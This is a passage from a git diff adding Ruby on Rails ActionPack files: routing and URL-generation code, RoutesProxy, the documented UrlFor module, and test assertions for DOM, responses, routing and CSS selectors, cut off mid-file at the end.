+ include routes.named_routes.module
+
+ # plus a singleton class method called _routes ...
+ included do
+ singleton_class.send(:redefine_method, :_routes) { routes }
+ end
+
+ # And an instance method _routes. Note that
+ # UrlFor (included in this module) add extra
+ # conveniences for working with @_routes.
+ define_method(:_routes) { @_routes || routes }
+ end
+ end
+ end
+
+ def empty?
+ routes.empty?
+ end
+
+ def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true)
+ raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i)
+
+ if name && named_routes[name]
+ raise ArgumentError, "Invalid route name, already in use: '#{name}' \n" \
+ "You may have defined two routes with the same name using the `:as` option, or " \
+ "you may be overriding a route already defined by a resource with the same naming. " \
+ "For the latter, you can restrict the routes created with `resources` as explained here: \n" \
+ "http://guides.rubyonrails.org/routing.html#restricting-the-routes-created"
+ end
+
+ path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor)
+ conditions = build_conditions(conditions, path.names.map { |x| x.to_sym })
+
+ route = @set.add_route(app, path, conditions, defaults, name)
+ named_routes[name] = route if name
+ route
+ end
+
+ def build_path(path, requirements, separators, anchor)
+ strexp = Journey::Router::Strexp.new(
+ path,
+ requirements,
+ SEPARATORS,
+ anchor)
+
+ pattern = Journey::Path::Pattern.new(strexp)
+
+ builder = Journey::GTG::Builder.new pattern.spec
+
+ # Get all the symbol nodes followed by literals that are not the
+ # dummy node.
+ symbols = pattern.spec.grep(Journey::Nodes::Symbol).find_all { |n|
+ builder.followpos(n).first.literal?
+ }
+
+ # Get all the symbol nodes preceded by literals.
+ symbols.concat pattern.spec.find_all(&:literal?).map { |n|
+ builder.followpos(n).first
+ }.find_all(&:symbol?)
+
+ symbols.each { |x|
+ x.regexp = /(?:#{Regexp.union(x.regexp, '-')})+/
+ }
+
+ pattern
+ end
+ private :build_path
+
+ def build_conditions(current_conditions, path_values)
+ conditions = current_conditions.dup
+
+ # Rack-Mount requires that :request_method be a regular expression.
+ # :request_method represents the HTTP verb that matches this route.
+ #
+ # Here we munge values before they get sent on to rack-mount.
+ verbs = conditions[:request_method] || []
+ unless verbs.empty?
+ conditions[:request_method] = %r[^#{verbs.join('|')}$]
+ end
+
+ conditions.keep_if do |k, _|
+ k == :action || k == :controller || k == :required_defaults ||
+ @request_class.public_method_defined?(k) || path_values.include?(k)
+ end
+ end
+ private :build_conditions
+
+ class Generator #:nodoc:
+ PARAMETERIZE = lambda do |name, value|
+ if name == :controller
+ value
+ elsif value.is_a?(Array)
+ value.map { |v| v.to_param }.join('/')
+ elsif param = value.to_param
+ param
+ end
+ end
+
+ attr_reader :options, :recall, :set, :named_route
+
+ def initialize(options, recall, set)
+ @named_route = options.delete(:use_route)
+ @options = options.dup
+ @recall = recall.dup
+ @set = set
+
+ normalize_options!
+ normalize_controller_action_id!
+ use_relative_controller!
+ normalize_controller!
+ handle_nil_action!
+ end
+
+ def controller
+ @options[:controller]
+ end
+
+ def current_controller
+ @recall[:controller]
+ end
+
+ def use_recall_for(key)
+ if @recall[key] && (!@options.key?(key) || @options[key] == @recall[key])
+ if !named_route_exists? || segment_keys.include?(key)
+ @options[key] = @recall.delete(key)
+ end
+ end
+ end
+
+ def normalize_options!
+ # If an explicit :controller was given, always make :action explicit
+ # too, so that action expiry works as expected for things like
+ #
+ # generate({controller: 'content'}, {controller: 'content', action: 'show'})
+ #
+ # (the above is from the unit tests). In the above case, because the
+ # controller was explicitly given, but no action, the action is implied to
+ # be "index", not the recalled action of "show".
+
+ if options[:controller]
+ options[:action] ||= 'index'
+ options[:controller] = options[:controller].to_s
+ end
+
+ if options[:action]
+ options[:action] = options[:action].to_s
+ end
+ end
+
+ # This pulls :controller, :action, and :id out of the recall.
+ # The recall key is only used if there is no key in the options
+ # or if the key in the options is identical. If any of
+ # :controller, :action or :id is not found, don't pull any
+ # more keys from the recall.
+ def normalize_controller_action_id!
+ @recall[:action] ||= 'index' if current_controller
+
+ use_recall_for(:controller) or return
+ use_recall_for(:action) or return
+ use_recall_for(:id)
+ end
+
+ # if the current controller is "foo/bar/baz" and controller: "baz/bat"
+ # is specified, the controller becomes "foo/baz/bat"
+ def use_relative_controller!
+ if !named_route && different_controller? && !controller.start_with?("/")
+ old_parts = current_controller.split('/')
+ size = controller.count("/") + 1
+ parts = old_parts[0...-size] << controller
+ @options[:controller] = parts.join("/")
+ end
+ end
+
+ # Remove leading slashes from controllers
+ def normalize_controller!
+ @options[:controller] = controller.sub(%r{^/}, '') if controller
+ end
+
+ # This handles the case of action: nil being explicitly passed.
+ # It is identical to action: "index"
+ def handle_nil_action!
+ if options.has_key?(:action) && options[:action].nil?
+ options[:action] = 'index'
+ end
+ recall[:action] = options.delete(:action) if options[:action] == 'index'
+ end
+
+ # Generates a path from routes, returns [path, params].
+ # If no route is generated the formatter will raise ActionController::UrlGenerationError
+ def generate
+ @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE)
+ end
+
+ def different_controller?
+ return false unless current_controller
+ controller.to_param != current_controller.to_param
+ end
+
+ private
+ def named_route_exists?
+ named_route && set.named_routes[named_route]
+ end
+
+ def segment_keys
+ set.named_routes[named_route].segment_keys
+ end
+ end
+
+ # Generate the path indicated by the arguments, and return an array of
+ # the keys that were not used to generate it.
+ def extra_keys(options, recall={})
+ generate_extras(options, recall).last
+ end
+
+ def generate_extras(options, recall={})
+ path, params = generate(options, recall)
+ return path, params.keys
+ end
+
+ def generate(options, recall = {})
+ Generator.new(options, recall, self).generate
+ end
+
+ RESERVED_OPTIONS = [:host, :protocol, :port, :subdomain, :domain, :tld_length,
+ :trailing_slash, :anchor, :params, :only_path, :script_name,
+ :original_script_name]
+
+ def mounted?
+ false
+ end
+
+ def optimize_routes_generation?
+ !mounted? && default_url_options.empty?
+ end
+
+ def _generate_prefix(options = {})
+ nil
+ end
+
+ # The +options+ argument must be +nil+ or a hash whose keys are *symbols*.
+ def url_for(options)
+ options = default_url_options.merge(options || {})
+
+ user, password = extract_authentication(options)
+ recall = options.delete(:_recall)
+
+ original_script_name = options.delete(:original_script_name).presence
+ script_name = options.delete(:script_name).presence || _generate_prefix(options)
+
+ if script_name && original_script_name
+ script_name = original_script_name + script_name
+ end
+
+ path_options = options.except(*RESERVED_OPTIONS)
+ path_options = yield(path_options) if block_given?
+
+ path, params = generate(path_options, recall || {})
+ params.merge!(options[:params] || {})
+
+ ActionDispatch::Http::URL.url_for(options.merge!({
+ :path => path,
+ :script_name => script_name,
+ :params => params,
+ :user => user,
+ :password => password
+ }))
+ end
+
+ def call(env)
+ @router.call(env)
+ end
+
+ def recognize_path(path, environment = {})
+ method = (environment[:method] || "GET").to_s.upcase
+ path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://}
+ extras = environment[:extras] || {}
+
+ begin
+ env = Rack::MockRequest.env_for(path, {:method => method})
+ rescue URI::InvalidURIError => e
+ raise ActionController::RoutingError, e.message
+ end
+
+ req = @request_class.new(env)
+ @router.recognize(req) do |route, _matches, params|
+ params.merge!(extras)
+ params.each do |key, value|
+ if value.is_a?(String)
+ value = value.dup.force_encoding(Encoding::BINARY)
+ params[key] = URI.parser.unescape(value)
+ end
+ end
+ old_params = env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ env[::ActionDispatch::Routing::RouteSet::PARAMETERS_KEY] = (old_params || {}).merge(params)
+ dispatcher = route.app
+ while dispatcher.is_a?(Mapper::Constraints) && dispatcher.matches?(env) do
+ dispatcher = dispatcher.app
+ end
+
+ if dispatcher.is_a?(Dispatcher)
+ if dispatcher.controller(params, false)
+ dispatcher.prepare_params!(params)
+ return params
+ else
+ raise ActionController::RoutingError, "A route matches #{path.inspect}, but references missing controller: #{params[:controller].camelize}Controller"
+ end
+ end
+ end
+
+ raise ActionController::RoutingError, "No route matches #{path.inspect}"
+ end
+
+ private
+
+ def extract_authentication(options)
+ if options[:user] && options[:password]
+ [options.delete(:user), options.delete(:password)]
+ else
+ nil
+ end
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/routes_proxy.rb b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
new file mode 100644
index 0000000..e2393d3
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/routes_proxy.rb
@@ -0,0 +1,41 @@
+require 'active_support/core_ext/array/extract_options'
+
+module ActionDispatch
+ module Routing
+ class RoutesProxy #:nodoc:
+ include ActionDispatch::Routing::UrlFor
+
+ attr_accessor :scope, :routes
+ alias :_routes :routes
+
+ def initialize(routes, scope)
+ @routes, @scope = routes, scope
+ end
+
+ def url_options
+ scope.send(:_with_routes, routes) do
+ scope.url_options
+ end
+ end
+
+ def respond_to?(method, include_private = false)
+ super || routes.url_helpers.respond_to?(method)
+ end
+
+ def method_missing(method, *args)
+ if routes.url_helpers.respond_to?(method)
+ self.class.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{method}(*args)
+ options = args.extract_options!
+ args << url_options.merge((options || {}).symbolize_keys)
+ routes.url_helpers.#{method}(*args)
+ end
+ RUBY
+ send(method, *args)
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb
new file mode 100644
index 0000000..8e19025
--- /dev/null
+++ b/actionpack/lib/action_dispatch/routing/url_for.rb
@@ -0,0 +1,182 @@
+module ActionDispatch
+ module Routing
+ # In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse
+ # is also possible: an URL can be generated from one of your routing definitions.
+ # URL generation functionality is centralized in this module.
+ #
+ # See ActionDispatch::Routing for general information about routing and routes.rb.
+ #
+ # <b>Tip:</b> If you need to generate URLs from your models or some other place,
+ # then ActionController::UrlFor is what you're looking for. Read on for
+ # an introduction. In general, this module should not be included on its own,
+ # as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
+ #
+ # == URL generation from parameters
+ #
+ # As you may know, some functions, such as ActionController::Base#url_for
+ # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
+ # of parameters. For example, you've probably had the chance to write code
+ # like this in one of your views:
+ #
+ # <%= link_to('Click here', controller: 'users',
+ # action: 'new', message: 'Welcome!') %>
+ # # => "/users/new?message=Welcome%21"
+ #
+ # link_to, and all other functions that require URL generation functionality,
+ # actually use ActionController::UrlFor under the hood. And in particular,
+ # they use the ActionController::UrlFor#url_for method. One can generate
+ # the same path as the above example by using the following code:
+ #
+ # include UrlFor
+ # url_for(controller: 'users',
+ # action: 'new',
+ # message: 'Welcome!',
+ # only_path: true)
+ # # => "/users/new?message=Welcome%21"
+ #
+ # Notice the <tt>only_path: true</tt> part. This is because UrlFor has no
+ # information about the website hostname that your Rails app is serving. So if you
+ # want to include the hostname as well, then you must also pass the <tt>:host</tt>
+ # argument:
+ #
+ # include UrlFor
+ # url_for(controller: 'users',
+ # action: 'new',
+ # message: 'Welcome!',
+ # host: 'www.example.com')
+ # # => "http://www.example.com/users/new?message=Welcome%21"
+ #
+ # By default, all controllers and views have access to a special version of url_for,
+ # that already knows what the current hostname is. So if you use url_for in your
+ # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
+ # argument.
+ #
+ # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
+ # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlFor#url_for'
+ # in full. However, mailers don't have hostname information, and that's why you'll still
+ # have to specify the <tt>:host</tt> argument when generating URLs in mailers.
+ #
+ #
+ # == URL generation for named routes
+ #
+ # UrlFor also allows one to access methods that have been auto-generated from
+ # named routes. For example, suppose that you have a 'users' resource in your
+ # <tt>config/routes.rb</tt>:
+ #
+ # resources :users
+ #
+ # This generates, among other things, the method <tt>users_path</tt>. By default,
+ # this method is accessible from your controllers, views and mailers. If you need
+ # to access this auto-generated method from other places (such as a model), then
+ # you can do that by including Rails.application.routes.url_helpers in your class:
+ #
+ # class User < ActiveRecord::Base
+ # include Rails.application.routes.url_helpers
+ #
+ # def base_uri
+ # user_path(self)
+ # end
+ # end
+ #
+ # User.find(1).base_uri # => "/users/1"
+ #
+ module UrlFor
+ extend ActiveSupport::Concern
+ include PolymorphicRoutes
+
+ included do
+ unless method_defined?(:default_url_options)
+ # Including in a class uses an inheritable hash. Modules get a plain hash.
+ if respond_to?(:class_attribute)
+ class_attribute :default_url_options
+ else
+ mattr_writer :default_url_options
+ end
+
+ self.default_url_options = {}
+ end
+
+ include(*_url_for_modules) if respond_to?(:_url_for_modules)
+ end
+
+ def initialize(*)
+ @_routes = nil
+ super
+ end
+
+ # Hook overridden in controller to add request information
+ # with `default_url_options`. Application logic should not
+ # go into url_options.
+ def url_options
+ default_url_options
+ end
+
+ # Generate a url based on the options provided, default_url_options and the
+ # routes defined in routes.rb. The following options are supported:
+ #
+ # * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+.
+ # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'.
+ # * <tt>:host</tt> - Specifies the host the link should be targeted at.
+ # If <tt>:only_path</tt> is false, this option must be
+ # provided either explicitly, or via +default_url_options+.
+ # * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+
+ # to split the subdomain from the host.
+ # If false, removes all subdomains from the host part of the link.
+ # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
+ # to split the domain from the host.
+ # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
+ # <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to
+ # <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1.
+ # * <tt>:port</tt> - Optionally specify the port to connect to.
+ # * <tt>:anchor</tt> - An anchor name to be appended to the path.
+ # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2009/"
+ # * <tt>:script_name</tt> - Specifies application path relative to domain root. If provided, prepends application path.
+ #
+ # Any other key (<tt>:controller</tt>, <tt>:action</tt>, etc.) given to
+ # +url_for+ is forwarded to the Routes module.
+ #
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', port: '8080'
+ # # => 'http://somehost.org:8080/tasks/testing'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', anchor: 'ok', only_path: true
+ # # => '/tasks/testing#ok'
+ # url_for controller: 'tasks', action: 'testing', trailing_slash: true
+ # # => 'http://somehost.org/tasks/testing/'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', number: '33'
+ # # => 'http://somehost.org/tasks/testing?number=33'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp"
+ # # => 'http://somehost.org/myapp/tasks/testing'
+ # url_for controller: 'tasks', action: 'testing', host: 'somehost.org', script_name: "/myapp", only_path: true
+ # # => '/myapp/tasks/testing'
+ def url_for(options = nil)
+ case options
+ when nil
+ _routes.url_for(url_options.symbolize_keys)
+ when Hash
+ _routes.url_for(options.symbolize_keys.reverse_merge!(url_options))
+ when String
+ options
+ else
+ polymorphic_url(options)
+ end
+ end
+
+ protected
+
+ def optimize_routes_generation?
+ return @_optimized_routes if defined?(@_optimized_routes)
+ @_optimized_routes = _routes.optimize_routes_generation? && default_url_options.empty?
+ end
+
+ def _with_routes(routes)
+ old_routes, @_routes = @_routes, routes
+ yield
+ ensure
+ @_routes = old_routes
+ end
+
+ def _routes_context
+ self
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb
new file mode 100644
index 0000000..226baf9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions.rb
@@ -0,0 +1,18 @@
+module ActionDispatch
+ module Assertions
+ autoload :DomAssertions, 'action_dispatch/testing/assertions/dom'
+ autoload :ResponseAssertions, 'action_dispatch/testing/assertions/response'
+ autoload :RoutingAssertions, 'action_dispatch/testing/assertions/routing'
+ autoload :SelectorAssertions, 'action_dispatch/testing/assertions/selector'
+ autoload :TagAssertions, 'action_dispatch/testing/assertions/tag'
+
+ extend ActiveSupport::Concern
+
+ include DomAssertions
+ include ResponseAssertions
+ include RoutingAssertions
+ include SelectorAssertions
+ include TagAssertions
+ end
+end
+
diff --git a/actionpack/lib/action_dispatch/testing/assertions/dom.rb b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
new file mode 100644
index 0000000..8f90a12
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/dom.rb
@@ -0,0 +1,27 @@
+require 'action_view/vendor/html-scanner'
+
+module ActionDispatch
+ module Assertions
+ module DomAssertions
+ # \Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
+ #
+ # # assert that the referenced method generates the appropriate HTML string
+ # assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
+ def assert_dom_equal(expected, actual, message = "")
+ expected_dom = HTML::Document.new(expected).root
+ actual_dom = HTML::Document.new(actual).root
+ assert_equal expected_dom, actual_dom
+ end
+
+ # The negated form of +assert_dom_equivalent+.
+ #
+ # # assert that the referenced method does not generate the specified HTML string
+ # assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
+ def assert_dom_not_equal(expected, actual, message = "")
+ expected_dom = HTML::Document.new(expected).root
+ actual_dom = HTML::Document.new(actual).root
+ assert_not_equal expected_dom, actual_dom
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb
new file mode 100644
index 0000000..44ed0ac
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb
@@ -0,0 +1,88 @@
+
+module ActionDispatch
+ module Assertions
+ # A small suite of assertions that test responses from \Rails applications.
+ module ResponseAssertions
+ # Asserts that the response is one of the following types:
+ #
+ # * <tt>:success</tt> - Status code was in the 200-299 range
+ # * <tt>:redirect</tt> - Status code was in the 300-399 range
+ # * <tt>:missing</tt> - Status code was 404
+ # * <tt>:error</tt> - Status code was in the 500-599 range
+ #
+ # You can also pass an explicit status number like <tt>assert_response(501)</tt>
+ # or its symbolic equivalent <tt>assert_response(:not_implemented)</tt>.
+ # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list.
+ #
+ # # assert that the response was a redirection
+ # assert_response :redirect
+ #
+ # # assert that the response code was status code 401 (unauthorized)
+ # assert_response 401
+ def assert_response(type, message = nil)
+ message ||= "Expected response to be a <#{type}>, but was <#{@response.response_code}>"
+
+ if Symbol === type
+ if [:success, :missing, :redirect, :error].include?(type)
+ assert @response.send("#{type}?"), message
+ else
+ code = Rack::Utils::SYMBOL_TO_STATUS_CODE[type]
+ assert_equal code, @response.response_code, message
+ end
+ else
+ assert_equal type, @response.response_code, message
+ end
+ end
+
+ # Assert that the redirection options passed in match those of the redirect called in the latest action.
+ # This match can be partial, such that <tt>assert_redirected_to(controller: "weblog")</tt> will also
+ # match the redirection of <tt>redirect_to(controller: "weblog", action: "show")</tt> and so on.
+ #
+ # # assert that the redirection was to the "index" action on the WeblogController
+ # assert_redirected_to controller: "weblog", action: "index"
+ #
+ # # assert that the redirection was to the named route login_url
+ # assert_redirected_to login_url
+ #
+ # # assert that the redirection was to the url for @customer
+ # assert_redirected_to @customer
+ #
+ # # asserts that the redirection matches the regular expression
+ # assert_redirected_to %r(\Ahttp://example.org)
+ def assert_redirected_to(options = {}, message=nil)
+ assert_response(:redirect, message)
+ return true if options === @response.location
+
+ redirect_is = normalize_argument_to_redirection(@response.location)
+ redirect_expected = normalize_argument_to_redirection(options)
+
+ message ||= "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>"
+ assert_operator redirect_expected, :===, redirect_is, message
+ end
+
+ private
+ # Proxy to to_param if the object will respond to it.
+ def parameterize(value)
+ value.respond_to?(:to_param) ? value.to_param : value
+ end
+
+ def normalize_argument_to_redirection(fragment)
+ normalized = case fragment
+ when Regexp
+ fragment
+ when %r{^\w[A-Za-z\d+.-]*:.*}
+ fragment
+ when String
+ @request.protocol + @request.host_with_port + fragment
+ when :back
+ raise RedirectBackError unless refer = @request.headers["Referer"]
+ refer
+ else
+ @controller.url_for(fragment)
+ end
+
+ normalized.respond_to?(:delete) ? normalized.delete("\0\r\n") : normalized
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
new file mode 100644
index 0000000..496682e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -0,0 +1,218 @@
+require 'uri'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/string/access'
+require 'action_controller/metal/exceptions'
+
+module ActionDispatch
+ module Assertions
+ # Suite of assertions to test routes generated by \Rails and the handling of requests made to them.
+ module RoutingAssertions
+ # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash)
+ # match +path+. Basically, it asserts that \Rails recognizes the route given by +expected_options+.
+ #
+ # Pass a hash in the second argument (+path+) to specify the request method. This is useful for routes
+ # requiring a specific HTTP method. The hash should contain a :path with the incoming request path
+ # and a :method containing the required HTTP verb.
+ #
+ # # assert that POSTing to /items will call the create action on ItemsController
+ # assert_recognizes({controller: 'items', action: 'create'}, {path: 'items', method: :post})
+ #
+ # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used
+ # to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the
+ # extras argument, appending the query string on the path directly will not work. For example:
+ #
+ # # assert that a path of '/items/list/1?view=print' returns the correct options
+ # assert_recognizes({controller: 'items', action: 'list', id: '1', view: 'print'}, 'items/list/1', { view: "print" })
+ #
+ # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
+ #
+ # # Check the default route (i.e., the index action)
+ # assert_recognizes({controller: 'items', action: 'index'}, 'items')
+ #
+ # # Test a specific action
+ # assert_recognizes({controller: 'items', action: 'list'}, 'items/list')
+ #
+ # # Test an action with a parameter
+ # assert_recognizes({controller: 'items', action: 'destroy', id: '1'}, 'items/destroy/1')
+ #
+ # # Test a custom route
+ # assert_recognizes({controller: 'items', action: 'show', id: '1'}, 'view/item1')
+ def assert_recognizes(expected_options, path, extras={}, msg=nil)
+ request = recognized_request_for(path, extras)
+
+ expected_options = expected_options.clone
+
+ expected_options.stringify_keys!
+
+ msg = message(msg, "") {
+ sprintf("The recognized options <%s> did not match <%s>, difference:",
+ request.path_parameters, expected_options)
+ }
+
+ assert_equal(expected_options, request.path_parameters, msg)
+ end
+
+ # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+.
+ # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in
+ # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures.
+ #
+ # The +defaults+ parameter is unused.
+ #
+ # # Asserts that the default action is generated for a route with no action
+ # assert_generates "/items", controller: "items", action: "index"
+ #
+ # # Tests that the list action is properly routed
+ # assert_generates "/items/list", controller: "items", action: "list"
+ #
+ # # Tests the generation of a route with a parameter
+ # assert_generates "/items/list/1", { controller: "items", action: "list", id: "1" }
+ #
+ # # Asserts that the generated route gives us our custom route
+ # assert_generates "changesets/12", { controller: 'scm', action: 'show_diff', revision: "12" }
+ def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
+ if expected_path =~ %r{://}
+ fail_on(URI::InvalidURIError) do
+ uri = URI.parse(expected_path)
+ expected_path = uri.path.to_s.empty? ? "/" : uri.path
+ end
+ else
+ expected_path = "/#{expected_path}" unless expected_path.first == '/'
+ end
+ # Load routes.rb if it hasn't been loaded.
+
+ generated_path, extra_keys = @routes.generate_extras(options, defaults)
+ found_extras = options.reject { |k, _| ! extra_keys.include? k }
+
+ msg = message || sprintf("found extras <%s>, not <%s>", found_extras, extras)
+ assert_equal(extras, found_extras, msg)
+
+ msg = message || sprintf("The generated path <%s> did not match <%s>", generated_path,
+ expected_path)
+ assert_equal(expected_path, generated_path, msg)
+ end
+
+ # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates
+ # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>. This essentially combines +assert_recognizes+
+ # and +assert_generates+ into one step.
+ #
+ # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The
+ # +message+ parameter allows you to specify a custom error message to display upon failure.
+ #
+ # # Assert a basic route: a controller with the default action (index)
+ # assert_routing '/home', controller: 'home', action: 'index'
+ #
+ # # Test a route generated with a specific controller, action, and parameter (id)
+ # assert_routing '/entries/show/23', controller: 'entries', action: 'show', id: 23
+ #
+ # # Assert a basic route (controller + default action), with an error message if it fails
+ # assert_routing '/store', { controller: 'store', action: 'index' }, {}, {}, 'Route for store index not generated properly'
+ #
+ # # Tests a route, providing a defaults hash
+ # assert_routing 'controller/action/9', {id: "9", item: "square"}, {controller: "controller", action: "action"}, {}, {item: "square"}
+ #
+ # # Tests a route with a HTTP method
+ # assert_routing({ method: 'put', path: '/product/321' }, { controller: "product", action: "update", id: "321" })
+ def assert_routing(path, options, defaults={}, extras={}, message=nil)
+ assert_recognizes(options, path, extras, message)
+
+ controller, default_controller = options[:controller], defaults[:controller]
+ if controller && controller.include?(?/) && default_controller && default_controller.include?(?/)
+ options[:controller] = "/#{controller}"
+ end
+
+ generate_options = options.dup.delete_if{ |k, _| defaults.key?(k) }
+ assert_generates(path.is_a?(Hash) ? path[:path] : path, generate_options, defaults, extras, message)
+ end
+
+ # A helper to make it easier to test different route configurations.
+ # This method temporarily replaces @routes
+ # with a new RouteSet instance.
+ #
+ # The new instance is yielded to the passed block. Typically the block
+ # will create some routes using <tt>set.draw { match ... }</tt>:
+ #
+ # with_routing do |set|
+ # set.draw do
+ # resources :users
+ # end
+ # assert_equal "/users", users_path
+ # end
+ #
+ def with_routing
+ old_routes, @routes = @routes, ActionDispatch::Routing::RouteSet.new
+ if defined?(@controller) && @controller
+ old_controller, @controller = @controller, @controller.clone
+ _routes = @routes
+
+ # Unfortunately, there is currently an abstraction leak between AC::Base
+ # and AV::Base which requires having the URL helpers in both AC and AV.
+ # To do this safely at runtime for tests, we need to bump up the helper serial
+ # to that the old AV subclass isn't cached.
+ #
+ # TODO: Make this unnecessary
+ @controller.singleton_class.send(:include, _routes.url_helpers)
+ @controller.view_context_class = Class.new(@controller.view_context_class) do
+ include _routes.url_helpers
+ end
+ end
+ yield @routes
+ ensure
+ @routes = old_routes
+ if defined?(@controller) && @controller
+ @controller = old_controller
+ end
+ end
+
+ # ROUTES TODO: These assertions should really work in an integration context
+ def method_missing(selector, *args, &block)
+ if defined?(@controller) && @controller && @routes && @routes.named_routes.helpers.include?(selector)
+ @controller.send(selector, *args, &block)
+ else
+ super
+ end
+ end
+
+ private
+ # Recognizes the route for a given path.
+ def recognized_request_for(path, extras = {})
+ if path.is_a?(Hash)
+ method = path[:method]
+ path = path[:path]
+ else
+ method = :get
+ end
+
+ # Assume given controller
+ request = ActionController::TestRequest.new
+
+ if path =~ %r{://}
+ fail_on(URI::InvalidURIError) do
+ uri = URI.parse(path)
+ request.env["rack.url_scheme"] = uri.scheme || "http"
+ request.host = uri.host if uri.host
+ request.port = uri.port if uri.port
+ request.path = uri.path.to_s.empty? ? "/" : uri.path
+ end
+ else
+ path = "/#{path}" unless path.first == "/"
+ request.path = path
+ end
+
+ request.request_method = method if method
+
+ params = fail_on(ActionController::RoutingError) do
+ @routes.recognize_path(path, { :method => method, :extras => extras })
+ end
+ request.path_parameters = params.with_indifferent_access
+
+ request
+ end
+
+ def fail_on(exception_class)
+ yield
+ rescue exception_class => e
+ raise MiniTest::Assertion, e.message
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
new file mode 100644
index 0000000..3253a3d
--- /dev/null
+++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb
@@ -0,0 +1,430 @@
+require 'action_view/vendor/html-scanner'
+require 'active_support/core_ext/object/inclusion'
+
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+module ActionDispatch
+ module Assertions
+ NO_STRIP = %w{pre script style textarea}
+
+ # Adds the +assert_select+ method for use in Rails functional
+ # test cases, which can be used to make assertions on the response HTML of a controller
+ # action. You can also call +assert_select+ within another +assert_select+ to
+ # make assertions on elements selected by the enclosing assertion.
+ #
+ # Use +css_select+ to select elements without making an assertions, either
+ # from the response HTML or elements selected by the enclosing assertion.
+ #
+ # In addition to HTML responses, you can make the following assertions:
+ #
+ # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
+ # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
+ #
+ # Also see HTML::Selector to learn how to use selectors.
+ module SelectorAssertions
+ # Select and return all matching elements.
+ #
+ # If called with a single argument, uses that argument as a selector
+ # to match all elements of the current page. Returns an empty array
+ # if no match is found.
+ #
+ # If called with two arguments, uses the first argument as the base
+ # element and the second argument as the selector. Attempts to match the
+ # base element and any of its children. Returns an empty array if no
+ # match is found.
+ #
+ # The selector may be a CSS selector expression (String), an expression
+ # with substitution values (Array) or an HTML::Selector object.
+ #
+ # # Selects all div tags
+ # divs = css_select("div")
+ #
+ # # Selects all paragraph tags and does something interesting
+ # pars = css_select("p")
+ # pars.each do |par|
+ # # Do something fun with paragraphs here...
+ # end
+ #
+ # # Selects all list items in unordered lists
+ # items = css_select("ul>li")
+ #
+ # # Selects all form tags and then all inputs inside the form
+ # forms = css_select("form")
+ # forms.each do |form|
+ # inputs = css_select(form, "input")
+ # ...
+ # end
+ def css_select(*args)
+ # See assert_select to understand what's going on here.
+ arg = args.shift
+
